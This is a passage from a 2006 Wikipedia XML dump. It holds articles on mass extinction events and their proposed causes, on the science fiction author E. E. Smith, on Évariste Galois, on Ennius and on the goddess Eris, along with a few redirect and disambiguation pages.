# 444 million years ago &amp;mdash; at the [[Ordovician]]-[[Silurian]] transition two [[Ordovician-Silurian extinction events]] occurred, probably as the result of a period of [[glaciation]]. Marine habitats changed drastically as [[sea level]]s decreased, causing the first die-off, then another occurred between 500 thousand to a million years later when sea levels rose rapidly. It has been suggested that a [[gamma ray burst]] may have triggered this extinction. [http://www.guardian.co.uk/uk_news/story/0,3604,1456594,00.html]
# 360 million years ago &amp;mdash; near the [[Devonian]]-[[Carboniferous]] transition (the [[Late Devonian extinction]]) a prolonged series of extinctions led to the elimination of about 70% of all species.  This was not a sudden event, with the period of decline lasting perhaps as long as 20 million years.  However, there is evidence for a series of extinction pulses within this period.
# 251 million years ago &amp;mdash; at the [[Permian]]-[[Triassic]] transition (the [[Permian-Triassic extinction event]]) about 95% of all marine species went extinct.  This catastrophe was Earth's worst mass extinction, killing 53% of marine families, 84% of marine [[genus|genera]], and an estimated 70% of land species (including plants, insects, and vertebrate animals.)
# 200 million years ago &amp;mdash; at the [[Triassic]]-[[Jurassic]] transition (the [[Triassic-Jurassic extinction event]]) about 20% of all marine families as well as most non-dinosaurian [[archosaur]]s, most [[therapsida|therapsids]], and the last of the large [[Amphibia|amphibians]] were eliminated.
# 65 million years ago &amp;mdash; at the [[Cretaceous]]-[[Paleogene]] transition (the [[Cretaceous-Tertiary extinction event]]) about 50% of all species became extinct (including all non-avian [[dinosaur]]s). This extinction is widely believed to have resulted from an [[asteroid]] or [[comet]] [[impact event]].
#Present day &amp;mdash; the [[Holocene extinction event]].  A 1998 survey by the American Museum of Natural History found that 70% of biologists view the present era as part of a mass extinction event ,the fastest to have ever occured.  Some, such as [[E. O. Wilson]] of [[Harvard University]], predict that man's destruction of the [[biosphere]] could cause the extinction of one-half of all species in the next 100 years.  Research and conservation efforts, such as the [[IUCN]]'s annual &quot;[[Red List]]&quot; of threatened species, all point to an ongoing period of enhanced extinction, though some offer much lower rates and hence longer time scales before the onset of catastrophic damage.  The extinction of many [[megafauna]] near the end of the most recent ice age is also sometimes considered a part of the Holocene extinction event.(see [http://www.actionbioscience.org/newfrontiers/eldredge2.html])

==Causes for Mass Extinction==

With the exception of the Cretaceous-Tertiary mass extinction, which is widely attributed to an impact event, and modern day extinctions associated with the proliferation of human civilization, it is not well known what has caused other mass extinctions.  Some of the hypotheses are discussed below.

# [[Impact event]]s - The impact of a sufficiently large asteroid or comet could create [[Megatsunami]]s, global [[forest fire]]s, and simulate [[nuclear winter]] from the dust it puts in the atmosphere.  Taken together, it is not surprising that these and other related effects might be sufficiently severe as to disrupt the global ecosystem and cause extinctions.  Only for the End Cretaceous extinctions is there strong evidence of such an impact.  Circumstantial evidence of such events are also given for the End Permian, End Ordovician, End Jurassic and End Eocene extinctions.
# [[Climate change]] - Rapid transitions in climate may be capable of stressing the environment to the point of extinction.  However, it is worth observing the recent cycles of [[ice age]]s are only believed to have had very mild impacts on biodiversity.  Extinctions suggested to have this cause include: End Ordovician, End Permian, Late Devonian, and others.
# [[Volcanism]] - The formation of [[large igneous province]]s, which can involve the outflow of millions of cubic kilometers of [[lava]] in a short duration, are suggested to poison the atmosphere and oceans in a way that may cause extinctions.  This cause has been proposed for the End Cretaceous, End Permian, End Triassic, and End Jurassic extinctions.
# [[Gamma ray burst]] - A nearby gamma ray burst (less than 6000 [[light year]]s distance) could sufficiently irradiate the surface of the Earth to kill organisms living there and destroy the [[ozone layer]] in the process.  From statistical arguments, approximately 1 gamma ray burst would be expected to occur in close proximity to Earth in the last 540 million years.  This has been suggested as an explanation for the End Ordovician extinction event.
# [[Plate tectonics]] - It has been suggested that the opening and closing of seaways and land bridges may play a role in extinction events as previously isolated populations are brought into contact and new dynamics are established in the ecosystem.  This is most frequently discussed in relation to the End Permian mass extinction.

Other hypotheses, such as the spread of a new [[disease]] or simple out-competition following an especially successful biological innovation are also considered; however, it is often thought that the major mass extinctions in Earth's history are too sudden and too extensive to have resulted solely from biological events.

==Postulated extinction cycles==
It has been suggested by several sources that biodiversity and/or extinction events may be influenced by cyclic processes.  The best-known of these claims is the 26 to 30 million year viral cycle in extinctions proposed by Raup and Sepkoski (1986).  More recently, Rohde and Muller (2005) have suggested that biodiversity fluctuates primarily on 62 &amp;plusmn; 3 million cycle.

It is difficult to evaluate the validity of these claims except through reduction to statisitical arguments regarding how plausible or implausible it is for the observed data to exhibit a particular pattern, as the causes of most extinction events are still too uncertain to attribute to them any specific cause let alone a recurring one.  Much early work in this area also suffered from poor knowledge of the [[geological time scale]] (errors &gt; 10 million years at times), though the time scale now available (uncertainties all &lt; 4 million years) should be adequate for studying these processes.

While the statistics alone have been judged as sufficiently compelling to warrant publication, it is important to consider processes that might be responsible for a cyclic pattern of extinctions and future work may focus on trying to find evidence of such processes.

One theory, for which no real evidence exists, suggests that the extinction cycle could be caused by the orbit of a hypothetical [[binary star|companion star]] dubbed [[Nemesis (star)|Nemesis]] that periodically disturbs the [[Oort cloud]], sending storms of large [[asteroid]]s and [[comet]]s towards the [[Solar System]].  Another similar theory suggests that the Solar System's oscillations through the plane of the [[galaxy]] results in periods of comet showers.  Other theories suggest geological instabilities that might allow heat to periodically build up deep in the Earth, which is then released through [[mantle plume]]s, periods of major volcanism and active plate tectonics.

If any of these theories are correct, then it is worth noting that both Raup and Sepkoski and Rohde &amp; Muller predict another naturally caused mass extinction event within the next 10 million years.

==See also==
* [[Elvis taxon]]
* [[Extinct birds]]
* [[Lazarus taxon]]
* [[Outside Context Problem]]
* [[Permian-Triassic extinction event]]
* [[Nemesis (star)]]

==References==
* [[Richard Leakey]] and Roger Lewin, 1996, ''The Sixth Extinction : Patterns of Life and the Future of Humankind'', Anchor, ISBN 0385468091.  Excerpt from this book:  [http://www.well.com/user/davidu/sixthextinction.html  The Sixth Extinction]
* Wilson, E.O., 2002, ''The Future of Life'', Vintage (pb), ISBN 0679768114 
*{{cite journal|author=Raup, D. &amp; Sepkoski, J.|title=Mass extinctions in the marine fossil record|journal=Science|volume=215|pages=1501–1503|year=1982}}
*{{cite journal|author=Raup, D., and J. Sepkoski|journal=Science|volume=231|pages=833-836 |year=1986|title=Periodic extinction of families and genera}}
*{{cite journal|author=Rohde, R.A. &amp; Muller, R.A.|year=2005|title=Cycles in fossil diversity|journal=Nature|volume=434|pages=209-210}}
* [http://www.well.com/user/davidu/extinction.html  The Current Mass Extinction Event]
* [http://muller.lbl.gov/pages/lbl-nem.htm Nemesis - Raup and Sepkoski]
* [[Richard A. Muller]], 1988, ''Nemesis'', Weidenfeld &amp; Nicolson, ISBN 1555841732

==External links==
* [http://www.bbc.co.uk/education/darwin/exfiles/massintro.htm BBC Extinction Files: Mass Extinctions]
* [http://www.lpl.arizona.edu/impacteffects/ Calculate the effects of an Impact]
* [http://www.well.com/user/davidu/extinction.html The Current Mass Extinction Event]
* [http://www.amnh.org/museum/press/feature/biofact.html American Museum of Natural History official statement on the current mass extinction]
* [http://www.wisart.net/ WiseArt Cybernetics (On-line slideshow to limit Mass Extinction)]
* [http://www.space.com/scienceastronomy/050503_mass_extinctions.html Interstellar Dust Cloud-induced Extinction Theory]
* [http://www.actionbioscience.org/newfrontiers/eldredge2.html The Sixth Extinction By Niles Eldredge]
* [http://www.sourcewatch.org/index.php?title=The_Sixth_Great_Extinction Sourcewatch.org]
* [http://www.geocities.com/abe_karnik/ELE.htm Extinction Level Event in short]
* [http://extinct.petermaas.nl The Extinction Website]
* [http://extinctanimals.proboards22.com The Extinction Forum], part of The Extinction Website.
* [http://neo.jpl.nasa.gov/ Nasa's Near Earth Object Program]

[[Category:Extinction events| ]]
[[Category:Graphical timelines]]

[[ar:انقراض جماعي]]
[[de:Massenaussterben]]
[[es:Extinción masiva]]
[[fr:Extinction massive]]
[[he:הכחדה המונית]]
[[ja:大量絶滅]]
[[pt:Extinção em massa]]
[[sv:Massutdöende]]
[[zh:生物集群灭绝]]</text>
    </revision>
  </page>
  <page>
    <title>E. E. Smith</title>
    <id>9814</id>
    <revision>
      <id>41322474</id>
      <timestamp>2006-02-26T15:49:04Z</timestamp>
      <contributor>
        <username>Painbearer</username>
        <id>137392</id>
      </contributor>
      <minor />
      <comment>/* Series */</comment>
      <text xml:space="preserve">[[Image:Astounding Grey Lensman.png|thumb|200px|&quot;Grey Lensman&quot; in ''[[Astounding (magazine)|Astounding]]'' Oct. 1939]]
'''E. E. Smith''', also '''Edward Elmer Smith, Ph.D.''', '''E.E. &quot;Doc&quot; Smith''' and '''Doc Smith''' ([[May 2]], [[1890]] - [[August 31]], [[1965]]) was a [[science fiction author]] who wrote the ''[[Lensman]]'' series and the ''Skylark'' series, among others. 

Dr. Smith was born in [[Idaho]] and held a large number of menial jobs before attending the [[University of Idaho]], where he is installed in the Alumni Hall of Fame.  He also lived in [[Wisconsin]], [[Michigan]], and [[Florida]].  Some of his biography is captured in an essay by [[Robert A. Heinlein]], which was reprinted in the collection ''Expanded Universe'' in 1980.

He was a doctor, donning his doctoral hood in [[Chemical Engineering]] from [[George Washington University]] in [[1919]]. From [[1936]] onwards, he was employed as a food technologist (a &quot;cereal&quot; chemist) by the Dawn Doughnut Company before working for the US Army between [[1941]] and [[1945]]. Persistent but unconfirmed accounts maintain that Dr. Smith developed the first process for &quot;sticking&quot; powdered sugar on doughnuts.  An extended segment in ''Triplanetary'', one of his novels, suggests intimate familiarity with explosives and munitions manufacturing.

[[Robert A. Heinlein]] and Dr. Smith were personal friends. Heinlein reported that E.E. Smith perhaps took his &quot;unrealistic&quot; heroes from life. He reported that E.E. Smith was a large, blond, athletic, very intelligent, very gallant man, married to a remarkably beautiful, intelligent red-haired woman named MacDougal (thus perhaps the prototypes of 'Kimball Kinnison' and 'Clarissa MacDougal'). In one of Heinlein's books, he reports that he began to suspect Smith might be a sort of superman when he asked Dr. Smith for help in purchasing a car. Smith tested the car by driving it on a back road at illegally high speeds with their heads pressed tightly against the roof columns to listen for chassis squeaks by [[bone conduction]]&amp;mdash;a process apparently improvised on the spot.

His novels are generally considered to be the original [[space opera]]s and offer almost non-stop action. However they are, to a fair extent, still &quot;true&quot; [[science fiction]], in that they use the extrapolation of known science and, often, the extrapolation of existing and historic social and political patterns of the early to mid-twentieth century. Smith himself expressed a preference for inventing fictional technologies that were not strictly impossible (so far as the science of the day was aware) but highly unlikely: &quot;the more unlikely the better&quot; was his phrase. 

In recent years many critics have characterized his writings as cliché-ridden, or as using tired old themes. Dr. Smith, however, ''invented'' many of these themes. It is his imitators who made them tired old cliches. They were often totally new when he wrote them. With a little tolerance and imagination, a sense of wonder is easy to recapture, because Smith had it when he was writing his work. His excitement and enthusiasm shine through his writing and make his books well worth reading despite their age and their obvious literary flaws.

The Lensman novels were particularly interesting for their imaginative use of extra-terrestrial, non-human characters as major heros, another science fiction &quot;first.&quot;  

''Vortex Blasters'' (a.k.a. ''Masters of the Vortex'') is set in the same universe as the ''Lensman'' novels, an extension to the main storyline difficult to place on the timeline, and introducing a different type of psionics than that used by the Lensmen. ''Spacehounds of IPC'' is not a part of the series, despite occasional erroneous statements to the contrary.

[[Robert A. Heinlein]] reported that Doc had planned a seventh ''Lensman'' novel, set after the events described in ''Children of the Lens'', which was unpublishable at that time (the early [[1960s]]).  Careful searches by people who knew Doc well (including [[Frederik Pohl]], Doc's editor, and Verna Trestrail, Doc's daughter) have failed to locate any material related to such a story. Doc apparently never wrote any of it down. Doc told Heinlein that the new novel proceeded inexorably from unresolved matters in ''Children'', a statement easily supported by a careful reading of ''Children''.

On [[14 July]] [[1965]], barely a month before his death, E. E. Smith gave written permission to [[William B. Ellern]] to continue the ''Lensman'' series, which led to the publishing of ''New Lensman'' in [[1976]].  Smith's long-time friend, Dave Kyle, wrote three authorized added novels in the Lensman series that provided background about the major non-human Lensmen.

Steve 'Slug' Russell wrote the original computer game [[Spacewar]] inspired by the space battles from the Lensman series.

The [[GURPS]] role-playing game includes a worldbook based on the Lensman series.

In his biography, [[George Lucas]] reveals that the Lensmen novels were a major influence on his youth, completing the tie from the books to modern popular culture through Star Wars.

As well as influencing the course of popular culture, Smith was also a huge influence on modern warfare. His books were widely read by scientists and engineers from the [[1930s]] until the [[1970s]]. Ideas that arguably entered the military-scientific complex from Smith's work included [[Strategic Defense Initiative|SDI]] (Triplanetary), [[Stealth technology|stealth]] (Gray Lensman) and [[Observation, orientation, decision and action|OODA-loops]]/[[Command, control, and communications|C3]] based warfare and the [[Airborne Warning and Control System|AWACS]] (Gray Lensman).  One underlying theme of the novels was the difficulty in maintaining military secrecy&amp;mdash;as advanced capabilities are revealed, the opposing side can often duplicate them.

An influence that is inarguable was described in a letter to Doc from [[John W. Campbell]] (the editor of [[Astounding (magazine)|''Astounding'' magazine]], where much of the ''Lensman'' series was originally published). In it, Campbell relayed Admiral [[Chester Nimitz]]'s acknowledgment that he had used Smith's ideas for displaying the battlespace situation (called the &quot;tank&quot; in the stories) in the design of the [[United States Navy]]'s ships' [[Combat Information Center]]s. &quot;Your entire set-up was taken specifically, directly, and consciously from the ''Directrix'' in your story. Here you reached the situation the Navy found itself in &amp;mdash; more communication channels than integration techniques to handle them. In your writing you proposed precisely such an integrating technique and proved how advantageous it could be.&quot;&amp;sup1;

The beginning of the story the Skylark of Space describes in relative detail the protagonists research into separation of platinum group residues, subsequent experiments involving electrolysis and the discovery of a process evocative of [[cold fusion]] (over 50 years before  [[Stanley Pons]] and [[Martin Fleischmann]]). He describes a nuclear process yielding large amounts of energy and producing only negligible radioactive waste&amp;mdash;which then goes on to form the basis of the adventures in the Skylark books. Smith's general description of the process of discovery is highly evocative of Röntgen's descriptions of his discovery of the [[X-ray]].

Another theme of the Skylark novels involves precursors of modern information technology.  The humanoid aliens encountered in the first novel have developed a primitive technology called the &quot;mechanical educator,&quot; which allows direct conversion of brain waves into intelligible thought for transmission to others or for electrical storage.  By the third novel in the series, ''Skylark of Valeron'', this technology has grown into an &quot;Electronic Brain&quot; which is capable of computation on all &quot;bands&quot; of energy&amp;mdash;electromagnetism, gravity, and &quot;tachyonic&quot; energy and radiation bands included.  This is itself derived from a discussion of reductionist atomic theory in the second novel, ''Skylark Three'', which is evocative of modern quark and sub-quark theories of elementary particle physics.

In his later non-series novels, ''Galaxy Primes'', ''Subspace Explorers'', and ''Subspace Encounter'', E. E. Smith explores themes of telepathy and other mental abilities collectively called &quot;psionics,&quot; and of the conflict between libertarian and dictatorial influences in the colonization of other planets.

Doc himself appears as a character in the [[2006]] [[novel]] ''The Chinatown Death Cloud Peril'' by [[Paul Malmont]]. The novel describes friendship and rivalry among pulp writers of the [[1930s]]; it also includes [[Walter Gibson]], creator of [[The Shadow]], and [[Lester Dent]], creator of [[Doc Savage]].

==Biblography==
===Series===
&lt;big&gt;'''[[Lensman]]'''&lt;/big&gt;
# ''Triplanetary'' (1934)
# ''First Lensman'' (1950)
# ''Galactic Patrol'' (1950)
# ''Gray Lensman'' (1951)
# ''Second Stage Lensma''n (1953)
# ''Children of the Lens'' (1954)
# ''The Vortex Blaster'' aka Masters of the Vortex (1960)

&lt;big&gt;'''[[Skylark (series)|Skylark]]'''&lt;/big&gt;
# ''The Skylark of Space'' (1946)
# ''Skylark Three'' (1948)
# ''Skylark of Valeron'' (1949)
# ''Skylark DuQuesne'' (1966)

&lt;big&gt;'''[[Subspace]]'''&lt;/big&gt;
# ''Subspace Explorers'' (1965)
# ''Subspace Encounter'' (1983)

&lt;big&gt;'''[[Family d'Alembert]]'''&lt;/big&gt; (with [[Stephen Goldin]])
# ''Imperial Stars'' (1976)
# ''Stranglers' Moon'' (1976)
# ''The Clockwork Traitor'' (1976)
# ''Getaway World'' (1977)
# ''Appointment at Bloodstar'' aka The Bloodstar Conspiracy (1978)
# ''The Purity Plot'' (1978)
# ''Planet of Treachery'' (1981)
# ''Eclipsing Binaries'' (1983)
# ''The Omicron Invasion'' (1984)
# ''Revolt of the Galaxy'' (1985)

&lt;big&gt;'''[[Lord Tedric]]'''&lt;/big&gt; (with [[Gordon Eklund]])
# ''Lord Tedric'' (1978)
# ''The Space Pirates'' (1979)
# ''Black Knight of the Iron Sphere'' (1979)
# ''Alien Realms'' (1980)

===Novels===
* ''Spacehounds of IPC'' (1947)
* ''The Galaxy Primes'' (1965)
* ''Masters of Space'' (1976) (with E Everett Evans)

== References ==
&amp;sup1; Campbell, J.W. Letter to E.E. Smith. As quoted by Verna Smith Trestrail on [[29 September]] [[1979]] in her keynote speech at Moscon 1. Letter date given as &quot;long after World War II.&quot; 

[[Category:1890 births|Smith, E. E.]]
[[Category:1965 deaths|Smith, E. E.]]
[[Category:American science fiction writers|Smith, E.E.]]
[[Category:Space opera]]

[[bg:&amp;#1045;&amp;#1076;&amp;#1091;&amp;#1072;&amp;#1088;&amp;#1076; &amp;#1057;&amp;#1084;&amp;#1080;&amp;#1090;]]
[[de:Edward Elmer Smith]]
[[it:E. E. Smith]]
[[ja:E&amp;#12539;E&amp;#12539;&amp;#12473;&amp;#12511;&amp;#12473;]]
[[no:Edward Elmer Smith]]</text>
    </revision>
  </page>
  <page>
    <title>Évariste Galois</title>
    <id>9815</id>
    <revision>
      <id>40967339</id>
      <timestamp>2006-02-24T04:16:02Z</timestamp>
      <contributor>
        <username>Mayumashu</username>
        <id>203494</id>
      </contributor>
      <comment>+cat</comment>
      <text xml:space="preserve">[[Image:Galois.jpeg|268px|thumb|right|Galois at the age of fifteen from the pencil of a classmate. He was young-looking for his age and had black hair.]]

'''Évariste Galois''' ([[October 25]], [[1811]] &amp;ndash; [[May 31]], [[1832]]) was a [[France|French]] [[mathematician]] born in [[Bourg-la-Reine]].  While still in his teens, he was able to determine a necessary and sufficient condition for a [[polynomial]] to be solvable by [[radicals]], thereby solving a long-standing problem. His work laid the fundamental foundations for [[Galois theory]], a major branch of [[abstract algebra]], and the subfield of [[Galois connection]]s.  He was the first to use the word &quot;[[group (mathematics)|group]]&quot; ([[French language|French]]: ''groupe'') as a technical term in mathematics to represent a ''group of permutations''.  He died in a [[duel]] at the age of twenty.

In [[1828]] he attempted the entrance exam to [[École Polytechnique]], without the usual preparation in mathematics, and failed. He failed yet again on the second, final attempt the next year.  It is undisputed that Galois was more than qualified; however, accounts differ on why he failed.  The legend holds that he thought the exercise proposed to him by the examiner to be of no interest, and, in exasperation, he threw the rag used to clean up chalk marks on the blackboard at the examiner's head.  More plausible accounts state that Galois refused to justify his statements and answer the examiner's questions.  Galois's behavior was perhaps influenced by the recent suicide of his father.

His memoir on equation theory would be submitted several times but was never published in his lifetime, due to various events.  Initially he sent it to [[Cauchy]], who told him his work overlapped with recent work of [[Niels Henrik Abel|Abel]].  Galois revised his memoir and sent it to [[Jean Baptiste Joseph Fourier|Fourier]] in early 1830, upon the advice of Cauchy, to be considered for the Grand Prix of the Academy.  Unfortunately, Fourier died soon after, and the memoir was lost.  The prize would be awarded that year to Abel posthumously and also to [[Carl Gustav Jakob Jacobi|Jacobi]].   

Despite the lost memoir, Galois published three papers that year, which laid the foundations for the [[Galois theory]].

In January 1831, Galois returned to mathematics after a brief hiatus.  [[Simeon Poisson]] asked him to submit his work on solutions of equations.  Later that year, Galois would receive a letter of rejection from Poisson while in prison for his revolutionary activities.  Poisson stated (to others):  ''His argument is neither sufficiently clear nor sufficiently developed to allow us to judge its rigor.''

It was resubmitted again in shorter form. The importance of the work was not generally recognized during his lifetime, although some mathematicians such as Cauchy understood its implications.  

Galois was a staunch [[Republicanism|Republican]], famous for having toasted [[Louis-Philippe of France|Louis-Philippe]] with a dagger above his cup, which leads some to believe that his death in a duel was set up by the secret police.  He was jailed for attending a [[Bastille Day]] protest in 1831, and was released only 2 days before his death.

The night before the duel, supposedly fought in order to defend the honor of a woman (there are other theories concerning the motive of the duel), he was so convinced of his impending death that he stayed up all night writing letters to his Republican friends and composing what would become his mathematical testament. [[Hermann Weyl]], one of the greatest mathematicians of the 20th century, said of this testament, &quot;This letter, if judged by the novelty and profundity of ideas it contains, is perhaps the most substantial piece of writing in the whole literature of mankind.&quot;  However, the legend of Galois pouring his mathematical thoughts onto paper the night before he died seems to have been exaggerated.  In his final papers he outlined the rough edges of some work he had been doing in analysis and annotated a copy of the manuscript submitted to the academy and other papers.  On the 30th of May 1832, early in the morning, he was shot in the abdomen and died the following day at ten in the Cochin hospital (probably of [[peritonitis]]) after refusing the offices of a priest. He was 20 years old.
His last words to his brother Alfred were:
&lt;blockquote&gt;
''Ne pleure pas, Alfred! J'ai besoin de tout mon courage pour mourir à vingt ans!'' (Don't cry, Alfred! I need all my courage to die at twenty.)
&lt;/blockquote&gt;

Much of the drama surrounding the legend of his death has been attributed more to one source than any other - [[Eric Temple Bell]]'s ''[[Men of Mathematics]]''.

Galois' mathematical contributions were finally fully published in [[1843]] when [[Joseph Liouville|Liouville]] reviewed his manuscript and declared that he had indeed solved the problem first proposed and also solved by [[Niels Henrik Abel|Abel]].
The manuscript was finally published in the October-November [[1846]] issue of the ''Journal des mathématiques pures et appliquées''.

==Reference==
*Laura Toti Rigatelli, ''Evariste Galois'', Birkhauser, 1996, ISBN:3764354100. This biography challenges the common myth concerning Galois' duel and death.  

==External links==
* {{MacTutor Biography|id=Galois}}
*[http://www.galois-group.net The Galois Archive] (biography, letters and texts in various languages)
*[http://godel.ph.utexas.edu/~tonyr/galois.html Genius and Biographers: The Fictionalization of Evariste Galois] by Tony Rothman
*[http://perso.wanadoo.fr/frederic.gales/Laviedegalois.htm Biography in French]
*[http://www.galois-group.net/dupuy/index.php La vie d'Évariste Galois by Paul Dupuy] The first and still one of the most extensive biographies, referred to by every other serious biographer of Galois

[[Category:1811 births|Galois, Évariste]]
[[Category:1832 deaths|Galois, Évariste]]
[[Category:19th century mathematicians|Galois, Évariste]]
[[Category:French mathematicians|Galois, Évariste]]
[[Category:Group theorists|Galois, Évariste]]
[[Category:Alumni of the École Normale Supérieure|Galois, Évariste]]
[[Category:Duelling fatalities|Galois, E]]
[[Category:Calculating prodigies|Galois, Evariste]]
[[Category:Former Students of Lycée Louis-le-Grand|Galois, Évariste]]


{{Link FA|he}}

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[[io:Evariste Galois]]
[[it:Evariste Galois]]
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[[ru:Галуа, Эварист]]
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[[vi:Évariste Galois]]
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[[uk:Галуа Еварист]]
[[zh:埃瓦里斯特·伽罗瓦]]</text>
    </revision>
  </page>
  <page>
    <title>Essayists</title>
    <id>9816</id>
    <revision>
      <id>15907682</id>
      <timestamp>2002-05-26T19:34:46Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Essayist]]</comment>
      <text xml:space="preserve">#REDIRECT [[Essayist]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic music/Art music</title>
    <id>9817</id>
    <revision>
      <id>15907683</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Dachshund</username>
        <id>482</id>
      </contributor>
      <comment>moved to &quot;Electronic_art_music&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Electronic_art_music]]
</text>
    </revision>
  </page>
  <page>
    <title>Ennius</title>
    <id>9820</id>
    <revision>
      <id>40789980</id>
      <timestamp>2006-02-23T01:00:43Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk</comment>
      <text xml:space="preserve">'''Quintus Ennius''' ([[239 BC|239]] - [[169 BC]]) was a writer during the  period of the [[Roman Republic]], and is often considered the father of Roman poetry.  Although only fragments of his works survive, his influence in [[Latin literature]] was significant.

Ennius' more famous works include: the ''Epicharmus'',  the ''Euhemerus'', the ''Hedyphagetica'', ''Saturae'', and the ''Annals'' (''Annales'' in Latin).

The ''Epicharmus'' presented an account of the gods and the physical operations of the universe.  In it, the poet dreamed he had been transported after death to some place of heavenly enlightenment.

The ''Euhemerus'' presented a theological doctrine of a vastly different type in a mock-simple prose stylemodelled on the Greek of [[Euhemerus]] of Messene and several other theological writers.  According to this doctrine, the gods of [[Mount Olympus|Olympus]] were not supernatural powers still actively intervening in the affairs of men, but great generals, statesmen and inventors of olden times commemorated after death in extraordinary ways.  

The ''Hedyphagetica'' took much of its substance from the gastronomical epic of Archestratus of Gela, a work commonly associated with [[Epicureanism]].  The eleven extant hexameters have prosodical features avoided in the more serious ''Annales''.

The remains of six books of ''Saturae'' show a considerable variety of metres.  There are signs that Ennius varied the metre sometimes even within a composition.  A frequent theme was the social life of Ennius himself and his upper-class Roman friends and their intellectual conversation.  

The ''Annals'' was an [[Epic poetry|epic poem]] in eighteen books covering Roman history from the fall of [[Troy]] in [[1184 BC]] down to the censorship of [[Cato the Elder]] in [[184 BC]].  It was the first Latin poem to adopt the [[dactylic hexameter]] metre used in Greek epic and didactic, leading it to become the standard metre for these genres in Latin poetry.  The ''Annals'' became a school text for Roman schoolchildren, eventually supplanted by [[Virgil]]'s ''[[Aeneid]]''. About 600 lines survive.

&quot;The idle mind knows not what it wants.&quot; - Ennius

==Further reading==

*R. A. Brooks, ''Ennius and Roman Tragedy'' (1981)
*H. D. Jocelyn, ''The Tragedies of Ennius'' (1967)
*O. Skutsch, ''The Annals of Quintus Ennius'' (1985)

==External links==
{{wikiquote}}
* [http://www.thelatinlibrary.com/enn.html Fragments of Ennius' ''Annals''] at [[The Latin Library]]; text from Wordsworth (1874), line numbering from Warmington (1935)

[[Category:Ancient Romans]]
[[Category:Latin authors]]
[[Category:Roman era poets]]

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    </revision>
  </page>
  <page>
    <title>Eulers phi function</title>
    <id>9821</id>
    <revision>
      <id>15907686</id>
      <timestamp>2003-02-22T05:46:24Z</timestamp>
      <contributor>
        <ip>66.183.49.2</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Euler's_totient_function]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic</title>
    <id>9822</id>
    <revision>
      <id>37657859</id>
      <timestamp>2006-02-01T10:39:48Z</timestamp>
      <contributor>
        <username>Zunaid</username>
        <id>355097</id>
      </contributor>
      <comment>Reversion to revision 29617781 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{wiktionary}}
'''Electronic''' can refer to many things:
*In [[electronics]], devices or parts of devices using electrical signals
*[[Electronic music]] or [[electronica]]
*The band [[Electronic (band)|Electronic]] or their self-titled debut, ''[[Electronic (album)|Electronic]]''.
*Relating to the [[electromagnetic spectrum]], as in [[electronic warfare]] 
*The [[Electron configuration|configuration of electrons]] in an atom or molecule
*Using [[computer file]]s or the [[Internet]], often shortened to &quot;e-&quot;, as in [[e-mail]] for electronic mail
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Eris</title>
    <id>9823</id>
    <revision>
      <id>40262707</id>
      <timestamp>2006-02-19T09:03:52Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: el</comment>
      <text xml:space="preserve">{{Greek myth (personified)}}
:'' '''Eris''' is  also a [[genus]] of [[jumping spider]]s. See [[Eris (genus)]].''

'''Eris''' ([[Greek language|Greek]] '''&amp;#7962;ρις''', &quot;Strife&quot;) is the [[goddess]] personifying that quality, her name being translated into Latin as '''Discordia'''. Her Greek opposite is [[Harmonia (Greek goddess)|Harmonia]], whose Latin counterpart is [[Concordia (Roman goddess)|Concordia]].

==Greek Mythology==

In [[Hesiod]]'s ''Works and Days'' 11&amp;ndash;24, two different goddesses named Eris 'Strife' are distinguished:

:So, after all, there was not one kind of '''Strife''' alone, but all over the earth there are two. As for the one, a man would praise her when he came to understand her; but the other is blameworthy: and they are wholly different in nature. 

:For one fosters evil war and battle, being cruel: her no man loves; but perforce, through the will of the deathless gods, men pay harsh '''Strife''' her honour due.

:But the other is the elder daughter of dark Night ([[Nyx]]), and the son of [[Cronus]] who sits above and dwells in the [[aether]], set her in the roots of the earth: and she is far kinder to men.  She stirs up even the shiftless to toil; for a man grows eager to work when he considers his neighbour, a rich man who hastens to plough and plant and put his house in good order; and neighbour vies with is neighbour as he hurries after wealth.  This '''Strife''' is wholesome for men. And potter is angry with potter, and craftsman with craftsman, and beggar is jealous of beggar, and minstrel of minstrel.

In Hesiod's ''Theogony'' (226&amp;ndash;232) Strife the daughter of Night is less kindly spoken of as she brings forth other personifications as her children:

:But abhorred ''Eris'' ('Strife') bare painful ''Ponos'' ('Toil/Labor'), ''[[Lethe]]'' ('Forgetfulness') and ''Limos'' ('Famine') and tearful ''Algea'' (''Pains/Sorrows''), ''Hysminai'' ('Fightings/Combats') also, ''Malchai'' ('Battles'), ''Phonoi'' ('Murders/Slaughterings'), ''Androctasiai'' ('Manslaughters'), ''Neikea'' ('Quarrels'), ''Pseudea'' ('Lies/Falsehoods'),  ''Amphillogiai'' ('Disputes'), ''Dysnomia'' ('Lawlessness') and ''[[Ate]]'' ('Ruin/Folly'), all of one nature, and ''Horkos'' ('Oath') who most troubles men upon earth when anyone wilfully swears a false oath.

The other Strife is presumably she who appears in [[Homer]]'s ''[[Iliad]]'' Book&amp;nbsp;4 as sister of [[Ares]] and so presumably daughter of [[Zeus]] and [[Hera]]:

:Strife whose wrath is relentless, she is the sister and companion of murderous Ares, she who is only a little thing at the first, but thereafter grows until she strides on the earth with her head striking heaven. She then hurled down bitterness equally between both sides as she walked through the onslaught making men's pain heavier. She also has a son whom she named Strife.

Zeus sends her to rouse the [[Achaean]]s in Book&amp;nbsp;11 of the same work.

The most famous tale of Eris ('Strife') recounts her initiating the [[Trojan War]]. The goddesses [[Hera]], [[Athena]] and [[Aphrodite]] had been invited along with the rest of [[Olympus]] to the forced wedding of [[Peleus]] and [[Thetis]], who would become the parents of [[Achilles]], but Eris had been snubbed because of her troublemaking inclinations. 

